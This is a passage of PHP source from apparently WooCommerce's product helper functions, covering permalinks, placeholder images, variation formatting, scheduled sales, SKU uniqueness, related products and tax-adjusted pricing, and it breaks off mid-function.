	// Abort early if the placeholder rewrite tag isn't in the generated URL.
	if ( false === strpos( $permalink, '%' ) ) {
		return $permalink;
	}

	// Get the custom taxonomy terms in use by this post.
	$terms = get_the_terms( $post->ID, 'product_cat' );

	if ( ! empty( $terms ) ) {
		$terms           = wp_list_sort(
			$terms,
			array(
				'parent'  => 'DESC',
				'term_id' => 'ASC',
			)
		);
		$category_object = apply_filters( 'wc_product_post_type_link_product_cat', $terms[0], $terms, $post );
		$product_cat     = $category_object->slug;

		if ( $category_object->parent ) {
			$ancestors = get_ancestors( $category_object->term_id, 'product_cat' );
			foreach ( $ancestors as $ancestor ) {
				$ancestor_object = get_term( $ancestor, 'product_cat' );
				if ( apply_filters( 'woocommerce_product_post_type_link_parent_category_only', false ) ) {
					$product_cat = $ancestor_object->slug;
				} else {
					$product_cat = $ancestor_object->slug . '/' . $product_cat;
				}
			}
		}
	} else {
		// If no terms are assigned to this post, use a string instead (can't leave the placeholder there).
		$product_cat = _x( 'uncategorized', 'slug', 'woocommerce' );
	}

	$find = array(
		'%year%',
		'%monthnum%',
		'%day%',
		'%hour%',
		'%minute%',
		'%second%',
		'%post_id%',
		'%category%',
		'%product_cat%',
	);

	$replace = array(
		date_i18n( 'Y', strtotime( $post->post_date ) ),
		date_i18n( 'm', strtotime( $post->post_date ) ),
		date_i18n( 'd', strtotime( $post->post_date ) ),
		date_i18n( 'H', strtotime( $post->post_date ) ),
		date_i18n( 'i', strtotime( $post->post_date ) ),
		date_i18n( 's', strtotime( $post->post_date ) ),
		$post->ID,
		$product_cat,
		$product_cat,
	);

	$permalink = str_replace( $find, $replace, $permalink );

	return $permalink;
}
add_filter( 'post_type_link', 'wc_product_post_type_link', 10, 2 );

/**
 * Ensure that the product_cat value determined in `wc_product_post_type_link` is the canonical value.
 *
 * If other values are used in this part of the permalink, it will be redirected.
 *
 * @return void
 */
function wc_product_canonical_redirect(): void {
	global $wp_rewrite;

	if (
		! did_action( 'woocommerce_init' )
		|| ! is_product()
		|| ! is_a( $wp_rewrite, WP_Rewrite::class )
	) {
		return;
	}

	// In the event we are dealing with ugly permalinks, this will be empty.
	$specified_category_slug = get_query_var( 'product_cat' );

	if ( ! is_string( $specified_category_slug ) || strlen( $specified_category_slug ) < 1 ) {
		return;
	}

	// What category slug did we expect? Normally this maps back to the first assigned product_cat
	// term. However, this is filterable so we use the relevant helper function to figure this out.
	$expected_category_slug = wc_product_post_type_link( '%product_cat%', get_post( get_the_ID() ) );

	if ( $specified_category_slug === $expected_category_slug ) {
		return;
	}

	// phpcs:ignore WordPress.Security.NonceVerification.Recommended
	$query_vars = isset( $_GET ) && is_array( $_GET ) ? $_GET : array();

	wp_safe_redirect( add_query_arg( $query_vars, wc_get_product( get_the_ID() )->get_permalink() ), 301 );
	exit();
}
add_action( 'template_redirect', 'wc_product_canonical_redirect', 5 );

/**
 * Get the placeholder image URL either from media, or use the fallback image.
 *
 * @param string $size Thumbnail size to use.
 * @return string
 */
function wc_placeholder_img_src( $size = 'woocommerce_thumbnail' ) {
	$src               = WC()->plugin_url() . '/assets/images/placeholder.png';
	$placeholder_image = get_option( 'woocommerce_placeholder_image', 0 );

	if ( ! empty( $placeholder_image ) ) {
		if ( is_numeric( $placeholder_image ) ) {
			$image = wp_get_attachment_image_src( $placeholder_image, $size );

			if ( ! empty( $image[0] ) ) {
				$src = $image[0];
			}
		} else {
			$src = $placeholder_image;
		}
	}

	return apply_filters( 'woocommerce_placeholder_img_src', $src );
}

/**
 * Get the placeholder image.
 *
 * Uses wp_get_attachment_image if using an attachment ID @since 3.6.0 to handle responsiveness.
 *
 * @param string       $size Image size.
 * @param string|array $attr Optional. Attributes for the image markup. Default empty.
 * @return string
 */
function wc_placeholder_img( $size = 'woocommerce_thumbnail', $attr = '' ) {
	$dimensions        = wc_get_image_size( $size );
	$placeholder_image = get_option( 'woocommerce_placeholder_image', 0 );

	$default_attr = array(
		'class' => 'woocommerce-placeholder wp-post-image',
		'alt'   => __( 'Placeholder', 'woocommerce' ),
	);

	$attr = wp_parse_args( $attr, $default_attr );

	if ( wp_attachment_is_image( $placeholder_image ) ) {
		$image_html = wp_get_attachment_image(
			$placeholder_image,
			$size,
			false,
			$attr
		);
	} else {
		$image      = wc_placeholder_img_src( $size );
		$hwstring   = image_hwstring( $dimensions['width'], $dimensions['height'] );
		$attributes = array();

		foreach ( $attr as $name => $value ) {
			$attributes[] = esc_attr( $name ) . '="' . esc_attr( $value ) . '"';
		}

		$image_html = '<img src="' . esc_url( $image ) . '" ' . $hwstring . implode( ' ', $attributes ) . '/>';
	}

	return apply_filters( 'woocommerce_placeholder_img', $image_html, $size, $dimensions );
}

/**
 * Variation Formatting.
 *
 * Gets a formatted version of variation data or item meta.
 *
 * @param array|WC_Product_Variation $variation Variation object.
 * @param bool                       $flat Should this be a flat list or HTML list? (default: false).
 * @param bool                       $include_names include attribute names/labels in the list.
 * @param bool                       $skip_attributes_in_name Do not list attributes already part of the variation name.
 * @return string
 */
function wc_get_formatted_variation( $variation, $flat = false, $include_names = true, $skip_attributes_in_name = false ) {
	$return = '';

	if ( is_a( $variation, 'WC_Product_Variation' ) ) {
		$variation_attributes = $variation->get_attributes();
		$product              = $variation;
		$variation_name       = $variation->get_name();
	} else {
		$product        = false;
		$variation_name = '';
		// Remove attribute_ prefix from names.
		$variation_attributes = array();
		if ( is_array( $variation ) ) {
			foreach ( $variation as $key => $value ) {
				$variation_attributes[ str_replace( 'attribute_', '', $key ) ] = $value;
			}
		}
	}

	$list_type = $include_names ? 'dl' : 'ul';

	if ( is_array( $variation_attributes ) ) {

		if ( ! $flat ) {
			$return = '<' . $list_type . ' class="variation">';
		}

		$variation_list = array();

		foreach ( $variation_attributes as $name => $value ) {
			// If this is a term slug, get the term's nice name.
			if ( taxonomy_exists( $name ) ) {
				$term = get_term_by( 'slug', $value, $name );
				if ( ! is_wp_error( $term ) && $term && null !== $term->name && '' !== $term->name ) {
					$value = $term->name;
				}
			}

			// Do not list attributes already part of the variation name.
			if ( '' === $value || ( $skip_attributes_in_name && wc_is_attribute_in_product_name( $value, $variation_name ) ) ) {
				continue;
			}

			if ( $include_names ) {
				if ( $flat ) {
					$variation_list[] = wc_attribute_label( $name, $product ) . ': ' . rawurldecode( $value );
				} else {
					$variation_list[] = '<dt>' . wc_attribute_label( $name, $product ) . ':</dt><dd>' . rawurldecode( $value ) . '</dd>';
				}
			} else {
				if ( $flat ) {
					$variation_list[] = rawurldecode( $value );
				} else {
					$variation_list[] = '<li>' . rawurldecode( $value ) . '</li>';
				}
			}
		}

		if ( $flat ) {
			$return .= implode( ', ', $variation_list );
		} else {
			$return .= implode( '', $variation_list );
		}

		if ( ! $flat ) {
			$return .= '</' . $list_type . '>';
		}
	}
	return $return;
}

/**
 * Function which handles the start and end of scheduled sales via cron.
 */
function wc_scheduled_sales() {
	$data_store = WC_Data_Store::load( 'product' );

	// Sales which are due to start.
	$product_ids = $data_store->get_starting_sales();
	if ( $product_ids ) {
		do_action( 'wc_before_products_starting_sales', $product_ids );
		foreach ( $product_ids as $product_id ) {
			$product = wc_get_product( $product_id );

			if ( $product ) {
				$sale_price = $product->get_sale_price();

				if ( $sale_price ) {
					$product->set_price( $sale_price );
					$product->set_date_on_sale_from( '' );
				} else {
					$product->set_date_on_sale_to( '' );
					$product->set_date_on_sale_from( '' );
				}

				$product->save();
			}
		}
		do_action( 'wc_after_products_starting_sales', $product_ids );

		WC_Cache_Helper::get_transient_version( 'product', true );
		delete_transient( 'wc_products_onsale' );
	}

	// Sales which are due to end.
	$product_ids = $data_store->get_ending_sales();
	if ( $product_ids ) {
		do_action( 'wc_before_products_ending_sales', $product_ids );
		foreach ( $product_ids as $product_id ) {
			$product = wc_get_product( $product_id );

			if ( $product ) {
				$regular_price = $product->get_regular_price();
				$product->set_price( $regular_price );
				$product->set_sale_price( '' );
				$product->set_date_on_sale_to( '' );
				$product->set_date_on_sale_from( '' );
				$product->save();
			}
		}
		do_action( 'wc_after_products_ending_sales', $product_ids );

		WC_Cache_Helper::get_transient_version( 'product', true );
		delete_transient( 'wc_products_onsale' );
	}
}
add_action( 'woocommerce_scheduled_sales', 'wc_scheduled_sales' );

/**
 * Get attachment image attributes.
 *
 * @param array $attr Image attributes.
 * @return array
 */
function wc_get_attachment_image_attributes( $attr ) {
	/*
	 * If the user can manage woocommerce, allow them to
	 * see the image content.
	 */
	if ( current_user_can( 'manage_woocommerce' ) ) {
		return $attr;
	}

	/*
	 * If the user does not have the right capabilities,
	 * filter out the image source and replace with placeholder
	 * image.
	 */
	if ( isset( $attr['src'] ) && strstr( $attr['src'], 'woocommerce_uploads/' ) ) {
		$attr['src'] = wc_placeholder_img_src();

		if ( isset( $attr['srcset'] ) ) {
			$attr['srcset'] = '';
		}
	}
	return $attr;
}
add_filter( 'wp_get_attachment_image_attributes', 'wc_get_attachment_image_attributes' );


/**
 * Prepare attachment for JavaScript.
 *
 * @param array $response JS version of a attachment post object.
 * @return array
 */
function wc_prepare_attachment_for_js( $response ) {
	/*
	 * If the user can manage woocommerce, allow them to
	 * see the image content.
	 */
	if ( current_user_can( 'manage_woocommerce' ) ) {
		return $response;
	}

	/*
	 * If the user does not have the right capabilities,
	 * filter out the image source and replace with placeholder
	 * image.
	 */
	if ( isset( $response['url'] ) && strstr( $response['url'], 'woocommerce_uploads/' ) ) {
		$response['full']['url'] = wc_placeholder_img_src();
		if ( isset( $response['sizes'] ) ) {
			foreach ( $response['sizes'] as $size => $value ) {
				$response['sizes'][ $size ]['url'] = wc_placeholder_img_src();
			}
		}
	}

	return $response;
}
add_filter( 'wp_prepare_attachment_for_js', 'wc_prepare_attachment_for_js' );

/**
 * Track product views.
 */
function wc_track_product_view() {
	if ( ! is_singular( 'product' ) || ! is_active_widget( false, false, 'woocommerce_recently_viewed_products', true ) ) {
		return;
	}

	global $post;

	if ( empty( $_COOKIE['woocommerce_recently_viewed'] ) ) { // @codingStandardsIgnoreLine.
		$viewed_products = array();
	} else {
		$viewed_products = wp_parse_id_list( (array) explode( '|', wp_unslash( $_COOKIE['woocommerce_recently_viewed'] ) ) ); // @codingStandardsIgnoreLine.
	}

	// Unset if already in viewed products list.
	$keys = array_flip( $viewed_products );

	if ( isset( $keys[ $post->ID ] ) ) {
		unset( $viewed_products[ $keys[ $post->ID ] ] );
	}

	$viewed_products[] = $post->ID;

	if ( count( $viewed_products ) > 15 ) {
		array_shift( $viewed_products );
	}

	// Store for session only.
	wc_setcookie( 'woocommerce_recently_viewed', implode( '|', $viewed_products ) );
}

add_action( 'template_redirect', 'wc_track_product_view', 20 );

/**
 * Get product types.
 *
 * @since 2.2
 * @return array
 */
function wc_get_product_types() {
	return (array) apply_filters(
		'product_type_selector',
		array(
			'simple'   => __( 'Simple product', 'woocommerce' ),
			'grouped'  => __( 'Grouped product', 'woocommerce' ),
			'external' => __( 'External/Affiliate product', 'woocommerce' ),
			'variable' => __( 'Variable product', 'woocommerce' ),
		)
	);
}

/**
 * Check if product sku is unique.
 *
 * @since 2.2
 * @param int    $product_id Product ID.
 * @param string $sku Product SKU.
 * @return bool
 */
function wc_product_has_unique_sku( $product_id, $sku ) {
	/**
	 * Gives plugins an opportunity to verify SKU uniqueness themselves.
	 *
	 * @since 9.0.0
	 *
	 * @param bool|null $has_unique_sku Set to a boolean value to short-circuit the default SKU check.
	 * @param int $product_id The ID of the current product.
	 * @param string $sku The SKU to check for uniqueness.
	 */
	$has_unique_sku = apply_filters( 'wc_product_pre_has_unique_sku', null, $product_id, $sku );
	if ( ! is_null( $has_unique_sku ) ) {
		return boolval( $has_unique_sku );
	}

	$data_store = WC_Data_Store::load( 'product' );
	$sku_found  = $data_store->is_existing_sku( $product_id, $sku );

	if ( apply_filters( 'wc_product_has_unique_sku', $sku_found, $product_id, $sku ) ) {
		return false;
	}

	return true;
}

/**
 * Check if product unique ID is unique.
 *
 * @since 9.1.0
 * @param int    $product_id Product ID.
 * @param string $global_unique_id Product Unique ID.
 * @return bool
 */
function wc_product_has_global_unique_id( $product_id, $global_unique_id ) {
	/**
	 * Gives plugins an opportunity to verify Unique ID uniqueness themselves.
	 *
	 * @since 9.1.0
	 *
	 * @param bool|null $has_global_unique_id Set to a boolean value to short-circuit the default Unique ID check.
	 * @param int $product_id The ID of the current product.
	 * @param string $sku The Unique ID to check for uniqueness.
	 */
	$has_global_unique_id = apply_filters( 'wc_product_pre_has_global_unique_id', null, $product_id, $global_unique_id );
	if ( ! is_null( $has_global_unique_id ) ) {
		return boolval( $has_global_unique_id );
	}

	$data_store = WC_Data_Store::load( 'product' );
	if ( $data_store->has_callable( 'is_existing_global_unique_id' ) ) {
		$global_unique_id_found = $data_store->is_existing_global_unique_id( $product_id, $global_unique_id );
	} else {
		$logger = wc_get_logger();
		$logger->error( 'The method is_existing_global_unique_id is not implemented in the data store.', array( 'source' => 'wc_product_has_global_unique_id' ) );
	}
	/**
	 * Gives plugins an opportunity to verify Unique ID uniqueness themselves.
	 *
	 * @since 9.1.0
	 *
	 * @param boolean $global_unique_id_found Whether the Unique ID is found.
	 * @param int $product_id The ID of the current product.
	 * @param string $sku The Unique ID to check for uniqueness.
	 */
	if ( apply_filters( 'wc_product_has_global_unique_id', $global_unique_id_found, $product_id, $global_unique_id ) ) {
		return false;
	}

	return true;
}

/**
 * Force a unique SKU.
 *
 * @since  3.0.0
 * @param  integer $product_id Product ID.
 */
function wc_product_force_unique_sku( $product_id ) {
	$product     = wc_get_product( $product_id );
	$current_sku = $product ? $product->get_sku( 'edit' ) : '';

	if ( $current_sku ) {
		try {
			$new_sku = wc_product_generate_unique_sku( $product_id, $current_sku );

			if ( $current_sku !== $new_sku ) {
				$product->set_sku( $new_sku );
				$product->save();
			}
		} catch ( Exception $e ) {} // @codingStandardsIgnoreLine.
	}
}

/**
 * Recursively appends a suffix until a unique SKU is found.
 *
 * @since  3.0.0
 * @param  integer $product_id Product ID.
 * @param  string  $sku Product SKU.
 * @param  integer $index An optional index that can be added to the product SKU.
 * @return string
 */
function wc_product_generate_unique_sku( $product_id, $sku, $index = 0 ) {
	$generated_sku = 0 < $index ? $sku . '-' . $index : $sku;

	if ( ! wc_product_has_unique_sku( $product_id, $generated_sku ) ) {
		$generated_sku = wc_product_generate_unique_sku( $product_id, $sku, ( $index + 1 ) );
	}

	return $generated_sku;
}

/**
 * Get product ID by SKU.
 *
 * @since  2.3.0
 * @param  string $sku Product SKU.
 * @return int
 */
function wc_get_product_id_by_sku( $sku ) {
	$data_store = WC_Data_Store::load( 'product' );
	return $data_store->get_product_id_by_sku( $sku );
}

/**
 * Get product ID by Unique ID.
 *
 * @since  9.1.0
 * @param  string $global_unique_id Product Unique ID.
 * @return int|null
 */
function wc_get_product_id_by_global_unique_id( $global_unique_id ) {
	$data_store = WC_Data_Store::load( 'product' );
	if ( $data_store->has_callable( 'get_product_id_by_global_unique_id' ) ) {
		return $data_store->get_product_id_by_global_unique_id( $global_unique_id );
	} else {
		$logger = wc_get_logger();
		$logger->error( 'The method get_product_id_by_global_unique_id is not implemented in the data store.', array( 'source' => 'wc_get_product_id_by_global_unique_id' ) );
	}
	return null;
}

/**
 * Get attributes/data for an individual variation from the database and maintain it's integrity.
 *
 * @since  2.4.0
 * @param  int $variation_id Variation ID.
 * @return array
 */
function wc_get_product_variation_attributes( $variation_id ) {
	// Build variation data from meta.
	$all_meta                = is_array( get_post_meta( $variation_id ) ) ? get_post_meta( $variation_id ) : array();
	$parent_id               = wp_get_post_parent_id( $variation_id );
	$parent_attributes       = array_filter( (array) get_post_meta( $parent_id, '_product_attributes', true ) );
	$found_parent_attributes = array();
	$variation_attributes    = array();

	// Compare to parent variable product attributes and ensure they match.
	foreach ( $parent_attributes as $attribute_name => $options ) {
		if ( ! empty( $options['is_variation'] ) ) {
			$attribute                 = 'attribute_' . sanitize_title( $attribute_name );
			$found_parent_attributes[] = $attribute;
			if ( ! array_key_exists( $attribute, $variation_attributes ) ) {
				$variation_attributes[ $attribute ] = ''; // Add it - 'any' will be assumed.
			}
		}
	}

	// Get the variation attributes from meta.
	foreach ( $all_meta as $name => $value ) {
		// Only look at valid attribute meta, and also compare variation level attributes and remove any which do not exist at parent level.
		if ( 0 !== strpos( $name, 'attribute_' ) || ! in_array( $name, $found_parent_attributes, true ) ) {
			unset( $variation_attributes[ $name ] );
			continue;
		}
		/**
		 * Pre 2.4 handling where 'slugs' were saved instead of the full text attribute.
		 * Attempt to get full version of the text attribute from the parent.
		 */
		if ( sanitize_title( $value[0] ) === $value[0] && version_compare( get_post_meta( $parent_id, '_product_version', true ), '2.4.0', '<' ) ) {
			foreach ( $parent_attributes as $attribute ) {
				if ( 'attribute_' . sanitize_title( $attribute['name'] ) !== $name ) {
					continue;
				}
				$text_attributes = wc_get_text_attributes( $attribute['value'] );

				foreach ( $text_attributes as $text_attribute ) {
					if ( sanitize_title( $text_attribute ) === $value[0] ) {
						$value[0] = $text_attribute;
						break;
					}
				}
			}
		}

		$variation_attributes[ $name ] = $value[0];
	}

	return $variation_attributes;
}

/**
 * Get all product cats for a product by ID, including hierarchy
 *
 * @since  2.5.0
 * @param  int $product_id Product ID.
 * @return array
 */
function wc_get_product_cat_ids( $product_id ) {
	$product_cats = wc_get_product_term_ids( $product_id, 'product_cat' );

	foreach ( $product_cats as $product_cat ) {
		$product_cats = array_merge( $product_cats, get_ancestors( $product_cat, 'product_cat' ) );
	}

	return $product_cats;
}

/**
 * Gets data about an attachment, such as alt text and captions.
 *
 * @since 2.6.0
 *
 * @param int|null        $attachment_id Attachment ID.
 * @param WC_Product|bool $product WC_Product object.
 *
 * @return array
 */
function wc_get_product_attachment_props( $attachment_id = null, $product = false ) {
	$props      = array(
		'title'   => '',
		'caption' => '',
		'url'     => '',
		'alt'     => '',
		'src'     => '',
		'srcset'  => false,
		'sizes'   => false,
	);
	$attachment = get_post( $attachment_id );

	if ( $attachment && 'attachment' === $attachment->post_type ) {
		$props['title']   = wp_strip_all_tags( $attachment->post_title );
		$props['caption'] = wp_strip_all_tags( $attachment->post_excerpt );
		$props['url']     = wp_get_attachment_url( $attachment_id );

		// Alt text.
		$alt_text = array( wp_strip_all_tags( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) ), $props['caption'], wp_strip_all_tags( $attachment->post_title ) );

		if ( $product && $product instanceof WC_Product ) {
			$alt_text[] = wp_strip_all_tags( get_the_title( $product->get_id() ) );
		}

		$alt_text     = array_filter( $alt_text );
		$props['alt'] = $alt_text ? reset( $alt_text ) : '';

		// Large version.
		$full_size           = apply_filters( 'woocommerce_gallery_full_size', apply_filters( 'woocommerce_product_thumbnails_large_size', 'full' ) );
		$src                 = wp_get_attachment_image_src( $attachment_id, $full_size );
		$props['full_src']   = $src[0];
		$props['full_src_w'] = $src[1];
		$props['full_src_h'] = $src[2];

		// Gallery thumbnail.
		$gallery_thumbnail                = wc_get_image_size( 'gallery_thumbnail' );
		$gallery_thumbnail_size           = apply_filters( 'woocommerce_gallery_thumbnail_size', array( $gallery_thumbnail['width'], $gallery_thumbnail['height'] ) );
		$src                              = wp_get_attachment_image_src( $attachment_id, $gallery_thumbnail_size );
		$props['gallery_thumbnail_src']   = $src[0];
		$props['gallery_thumbnail_src_w'] = $src[1];
		$props['gallery_thumbnail_src_h'] = $src[2];

		// Thumbnail version.
		$thumbnail_size       = apply_filters( 'woocommerce_thumbnail_size', 'woocommerce_thumbnail' );
		$src                  = wp_get_attachment_image_src( $attachment_id, $thumbnail_size );
		$props['thumb_src']   = $src[0];
		$props['thumb_src_w'] = $src[1];
		$props['thumb_src_h'] = $src[2];

		// Image source.
		$image_size      = apply_filters( 'woocommerce_gallery_image_size', 'woocommerce_single' );
		$src             = wp_get_attachment_image_src( $attachment_id, $image_size );
		$props['src']    = $src[0];
		$props['src_w']  = $src[1];
		$props['src_h']  = $src[2];
		$props['srcset'] = function_exists( 'wp_get_attachment_image_srcset' ) ? wp_get_attachment_image_srcset( $attachment_id, $image_size ) : false;
		$props['sizes']  = function_exists( 'wp_get_attachment_image_sizes' ) ? wp_get_attachment_image_sizes( $attachment_id, $image_size ) : false;
	}
	return $props;
}

/**
 * Get product visibility options.
 *
 * @since 3.0.0
 * @return array
 */
function wc_get_product_visibility_options() {
	return apply_filters(
		'woocommerce_product_visibility_options',
		array(
			'visible' => __( 'Shop and search results', 'woocommerce' ),
			'catalog' => __( 'Shop only', 'woocommerce' ),
			'search'  => __( 'Search results only', 'woocommerce' ),
			'hidden'  => __( 'Hidden', 'woocommerce' ),
		)
	);
}

/**
 * Get product tax class options.
 *
 * @since 3.0.0
 * @return array
 */
function wc_get_product_tax_class_options() {
	$tax_classes           = WC_Tax::get_tax_classes();
	$tax_class_options     = array();
	$tax_class_options[''] = __( 'Standard', 'woocommerce' );

	if ( ! empty( $tax_classes ) ) {
		foreach ( $tax_classes as $class ) {
			$tax_class_options[ sanitize_title( $class ) ] = $class;
		}
	}
	return $tax_class_options;
}

/**
 * Get stock status options.
 *
 * @since 3.0.0
 * @return array
 */
function wc_get_product_stock_status_options() {
	return apply_filters(
		'woocommerce_product_stock_status_options',
		array(
			'instock'     => __( 'In stock', 'woocommerce' ),
			'outofstock'  => __( 'Out of stock', 'woocommerce' ),
			'onbackorder' => __( 'On backorder', 'woocommerce' ),
		)
	);
}

/**
 * Get backorder options.
 *
 * @since 3.0.0
 * @return array
 */
function wc_get_product_backorder_options() {
	return array(
		'no'     => __( 'Do not allow', 'woocommerce' ),
		'notify' => __( 'Allow, but notify customer', 'woocommerce' ),
		'yes'    => __( 'Allow', 'woocommerce' ),
	);
}

/**
 * Get related products based on product category and tags.
 *
 * @since  3.0.0
 * @param  int   $product_id  Product ID.
 * @param  int   $limit       Limit of results.
 * @param  array $exclude_ids Exclude IDs from the results.
 * @return array
 */
function wc_get_related_products( $product_id, $limit = 5, $exclude_ids = array() ) {

	$product_id     = absint( $product_id );
	$limit          = $limit >= -1 ? $limit : 5;
	$exclude_ids    = array_merge( array( 0, $product_id ), $exclude_ids );
	$transient_name = 'wc_related_' . $product_id;
	$query_args     = http_build_query(
		array(
			'limit'       => $limit,
			'exclude_ids' => $exclude_ids,
		)
	);

	$transient     = get_transient( $transient_name );
	$related_posts = $transient && is_array( $transient ) && isset( $transient[ $query_args ] ) ? $transient[ $query_args ] : false;

	// We want to query related posts if they are not cached, or we don't have enough.
	if ( false === $related_posts || count( $related_posts ) < $limit ) {

		$cats_array = apply_filters( 'woocommerce_product_related_posts_relate_by_category', true, $product_id ) ? apply_filters( 'woocommerce_get_related_product_cat_terms', wc_get_product_term_ids( $product_id, 'product_cat' ), $product_id ) : array();
		$tags_array = apply_filters( 'woocommerce_product_related_posts_relate_by_tag', true, $product_id ) ? apply_filters( 'woocommerce_get_related_product_tag_terms', wc_get_product_term_ids( $product_id, 'product_tag' ), $product_id ) : array();

		// Don't bother if none are set, unless woocommerce_product_related_posts_force_display is set to true in which case all products are related.
		if ( empty( $cats_array ) && empty( $tags_array ) && ! apply_filters( 'woocommerce_product_related_posts_force_display', false, $product_id ) ) {
			$related_posts = array();
		} else {
			$data_store    = WC_Data_Store::load( 'product' );
			$related_posts = $data_store->get_related_products( $cats_array, $tags_array, $exclude_ids, $limit + 10, $product_id );
		}

		if ( $transient && is_array( $transient ) ) {
			$transient[ $query_args ] = $related_posts;
		} else {
			$transient = array( $query_args => $related_posts );
		}

		set_transient( $transient_name, $transient, DAY_IN_SECONDS );
	}

	$related_posts = apply_filters(
		'woocommerce_related_products',
		$related_posts,
		$product_id,
		array(
			'limit'        => $limit,
			'excluded_ids' => $exclude_ids,
		)
	);

	if ( apply_filters( 'woocommerce_product_related_posts_shuffle', true ) ) {
		shuffle( $related_posts );
	}

	return array_slice( $related_posts, 0, $limit );
}

/**
 * Retrieves product term ids for a taxonomy.
 *
 * @since  3.0.0
 * @param  int    $product_id Product ID.
 * @param  string $taxonomy   Taxonomy slug.
 * @return array
 */
function wc_get_product_term_ids( $product_id, $taxonomy ) {
	$terms = get_the_terms( $product_id, $taxonomy );
	return ( empty( $terms ) || is_wp_error( $terms ) ) ? array() : wp_list_pluck( $terms, 'term_id' );
}

/**
 * For a given product, and optionally price/qty, work out the price with tax included, based on store settings.
 *
 * @since  3.0.0
 * @param  WC_Product $product WC_Product object.
 * @param  array      $args Optional arguments to pass product quantity and price.
 * @return float|string Price with tax included, or an empty string if price calculation failed.
 */
function wc_get_price_including_tax( $product, $args = array() ) {
	$args = wp_parse_args(
		$args,
		array(
			'qty'   => '',
			'price' => '',
		)
	);

	$price = '' !== $args['price'] ? max( 0.0, (float) $args['price'] ) : (float) $product->get_price();
	$qty   = '' !== $args['qty'] ? max( 0.0, (float) $args['qty'] ) : 1;

	if ( empty( $qty ) ) {
		return 0.0;
	}

	$line_price   = $price * $qty;
	$return_price = $line_price;

	if ( $product->is_taxable() ) {
		if ( ! wc_prices_include_tax() ) {
			// If the customer is exempt from VAT, set tax total to 0.
			if ( ! empty( WC()->customer ) && WC()->customer->get_is_vat_exempt() ) {
				$taxes_total = 0.00;
			} else {
				$tax_rates = WC_Tax::get_rates( $product->get_tax_class() );
				$taxes     = WC_Tax::calc_tax( $line_price, $tax_rates, false );

				if ( 'yes' === get_option( 'woocommerce_tax_round_at_subtotal' ) ) {
					$taxes_total = array_sum( $taxes );
				} else {
					$taxes_total = array_sum( array_map( 'wc_round_tax_total', $taxes ) );
				}
			}

			$return_price = NumberUtil::round( $line_price + $taxes_total, wc_get_price_decimals() );
		} else {
			$tax_rates      = WC_Tax::get_rates( $product->get_tax_class() );
			$base_tax_rates = WC_Tax::get_base_tax_rates( $product->get_tax_class( 'unfiltered' ) );

			/**
			 * If the customer is exempt from VAT, remove the taxes here.
			 * Either remove the base or the user taxes depending on woocommerce_adjust_non_base_location_prices setting.
			 */
			if ( ! empty( WC()->customer ) && WC()->customer->get_is_vat_exempt() ) { // @codingStandardsIgnoreLine.
				$remove_taxes = apply_filters( 'woocommerce_adjust_non_base_location_prices', true ) ? WC_Tax::calc_tax( $line_price, $base_tax_rates, true ) : WC_Tax::calc_tax( $line_price, $tax_rates, true );

				if ( 'yes' === get_option( 'woocommerce_tax_round_at_subtotal' ) ) {
					$remove_taxes_total = array_sum( $remove_taxes );
				} else {
					$remove_taxes_total = array_sum( array_map( 'wc_round_tax_total', $remove_taxes ) );
				}

				$return_price = NumberUtil::round( $line_price - $remove_taxes_total, wc_get_price_decimals() );

				/**
			 * The woocommerce_adjust_non_base_location_prices filter can stop base taxes being taken off when dealing with out of base locations.
			 * e.g. If a product costs 10 including tax, all users will pay 10 regardless of location and taxes.
			 * This feature is experimental @since 2.4.7 and may change in the future. Use at your risk.
			 */
			} elseif ( $tax_rates !== $base_tax_rates && apply_filters( 'woocommerce_adjust_non_base_location_prices', true ) ) {
				$base_taxes   = WC_Tax::calc_tax( $line_price, $base_tax_rates, true );
				$modded_taxes = WC_Tax::calc_tax( $line_price - array_sum( $base_taxes ), $tax_rates, false );

				if ( 'yes' === get_option( 'woocommerce_tax_round_at_subtotal' ) ) {
					$base_taxes_total   = array_sum( $base_taxes );
					$modded_taxes_total = array_sum( $modded_taxes );
				} else {
					$base_taxes_total   = array_sum( array_map( 'wc_round_tax_total', $base_taxes ) );
					$modded_taxes_total = array_sum( array_map( 'wc_round_tax_total', $modded_taxes ) );
				}

				$return_price = NumberUtil::round( $line_price - $base_taxes_total + $modded_taxes_total, wc_get_price_decimals() );
			}
		}
	}
	return apply_filters( 'woocommerce_get_price_including_tax', $return_price, $qty, $product );
}

/**
 * For a given product, and optionally price/qty, work out the price with tax excluded, based on store settings.
 *
 * @since  3.0.0
 * @param  WC_Product $product WC_Product object.
 * @param  array      $args Optional arguments to pass product quantity and price.
 * @return float|string Price with tax excluded, or an empty string if price calculation failed.
 */
function wc_get_price_excluding_tax( $product, $args = array() ) {
	$args = wp_parse_args(
		$args,
		array(
			'qty'   => '',
			'price' => '',
		)
	);

	$price = '' !== $args['price'] ? max( 0.0, (float) $args['price'] ) : (float) $product->get_price();
	$qty   = '' !== $args['qty'] ? max( 0.0, (float) $args['qty'] ) : 1;

	if ( empty( $qty ) ) {
		return 0.0;
	}

	$line_price = $price * $qty;

	if ( $product->is_taxable() && wc_prices_include_tax() ) {
		$order       = ArrayUtil::get_value_or_default( $args, 'order' );
		$customer_id = $order ? $order->get_customer_id() : 0;
		if ( apply_filters( 'woocommerce_adjust_non_base_location_prices', true ) ) {
			$tax_rates = WC_Tax::get_base_tax_rates( $product->get_tax_class( 'unfiltered' ) );
		} else {
			$customer  = $customer_id ? wc_get_container()->get( LegacyProxy::class )->get_instance_of( WC_Customer::class, $customer_id ) : null;
			$tax_rates = WC_Tax::get_rates( $product->get_tax_class(), $customer );
		}
		$remove_taxes = WC_Tax::calc_tax( $line_price, $tax_rates, true );
		$return_price = $line_price - array_sum( $remove_taxes ); // Unrounded since we're dealing with tax inclusive prices. Matches logic in cart-totals class. @see adjust_non_base_location_price.
	} else {
		$return_price = $line_price;
	}

	return apply_filters( 'woocommerce_get_price_excluding_tax', $return_price, $qty, $product );
}

/**
 * Returns the price including or excluding tax.
 *
 * By default it's based on the 'woocommerce_tax_display_shop' setting.
 * Set `$arg['display_context']` to 'cart' to base on the 'woocommerce_tax_display_cart' setting instead.
 *
 * @since  3.0.0
 * @since  7.6.0 Added `display_context` argument.
 *
 * @param  WC_Product $product WC_Product object.
 * @param  array      $args Optional arguments to pass product quantity and price.
 * @return float
 */
function wc_get_price_to_display( $product, $args = array() ) {
	$args = wp_parse_args(
		$args,
		array(
			'qty'             => 1,
			'price'           => $product->get_price(),
			'display_context' => 'shop',
		)
	);

	$price       = $args['price'];
	$qty         = $args['qty'];
	$tax_display = get_option(
